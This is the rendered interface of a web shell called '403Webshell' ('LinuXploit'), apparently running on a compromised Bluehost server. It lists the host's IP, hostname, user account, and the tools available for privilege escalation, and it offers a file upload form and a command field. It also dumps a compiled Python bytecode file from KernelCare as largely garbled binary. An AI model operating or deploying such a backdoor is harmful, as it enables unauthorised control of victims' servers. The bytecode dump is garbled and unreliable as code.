403Webshell
Server IP : 162.241.219.206  /  Your IP : 216.73.216.195
Web Server : Apache
System : Linux box5669.bluehost.com 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User : signavd5 ( 2863)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/kcare/python/kcarectl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/kcare/python/kcarectl/__pycache__/process_utils.cpython-39.pyc
a

��;j4�@spddlZddlZddlZddlZddlmZmZejddd��Z
ddd	�Zdd
d�Zdd
�Zdd�Zdd�ZdS)�N�)�	log_utils�utilsTcCsR|pd}|D]&}tj�||�}tj�|�r|Sq|rJtd�||���ndSdS)N)z	/usr/sbinz/sbinz/usr/binz/binz{0} could not be found at {1})�os�path�join�isfile�	Exception�format)�name�pathsZ	raise_exc�it�fname�r�3/usr/libexec/kcare/python/kcarectl/process_utils.py�find_cmds
rFc	Cs�|r
tjnd}|rtjnd}tj||||d�}|��\}}	|j}
|durRt�|�}|durdt�|	�}	t�t	�
d�j|j||	d�|�d��|r�|
r�t�
|
|�}||_|	|_|�|
||	fS)N)�stdout�stderr�shellz�
       Call result for `{cmd}`:
       exit code {exit_code}
       === STDOUT ===
       {stdout}
       === STDERR ===
       {stderr}
       === END ===
    � )Z	exit_coderr�cmd)�
subprocess�PIPE�Popen�communicate�
returncoder�nstrr�logdebug�textwrap�dedentr
r�CalledProcessError�outputr)�command�catch_stdout�catch_stderrr�checkrr�pZstdout_capturedZstderr_captured�code�excrrr�run_commands,

�
��r)cCst|d|d�\}}}|S)NT)r#r%)r))�argsr%�_rrrr�check_outputDsr,c	
Cs�z�dddddt|�g}t|dd�\}}}|rHtjdj|d	�d
d�WdS|��}dddd
dt|�g}t|dd�\}}}|r�tjdj|d	�d
d�WdS|��}t|�|fWSty�}z&tjdj||d�d
d�WYd}~dSd}~00dS)N�psz--no-headersz-o�ppidz-pT)r#z3Could not retrieve process parent PID for PID {pid})�pidF��	print_msg)NNZcommz-Could not retrieve process name for PID {pid}zJCould not retrieve process name and parent PID for PID {pid}, error: {err})r/�err)�strr)r�loginfor
�strip�intr	)	r/Zcmd_ppidr'rr+r.Zcmd_commr�errr� _get_parent_pid_and_process_nameIs&�r8cst����fdd��}|S)zMDecorator that logs parent process chain before calling the wrapped function.cst��|i|��S)N)�_log_all_parent_processes)r*�kwargs��funcrr�wrapperfsz)log_all_parent_processes.<locals>.wrapper)�	functools�wraps)r<r=rr;r�log_all_parent_processescsr@cCs�g}t��}|dkrF|dkrFt|�\}}|�||f�|dur@qF|}qtjddd�tt|��D]:\}\}}d|d}tjdj||p�d	|p�d	d
�dd�q`dS)NrrzAgent parent processes chain:Fr0�-z->z{prefix} "{name}" (pid: {pid})�unknown)�prefixrr/)	r�getpidr8�appendrr4�	enumerate�reversedr
)Z
process_chainZcurrent_pidr.Zprocess_name�levelr/rrCrrrr9ns�r9)NT)FFFF)F)r>rrr�rr�Any�List�Optional�Tuple�Union�cachedrr)r,r8r@r9rrrr�<module>s
%


Youez - 2016 - github.com/yon3zu
LinuXploit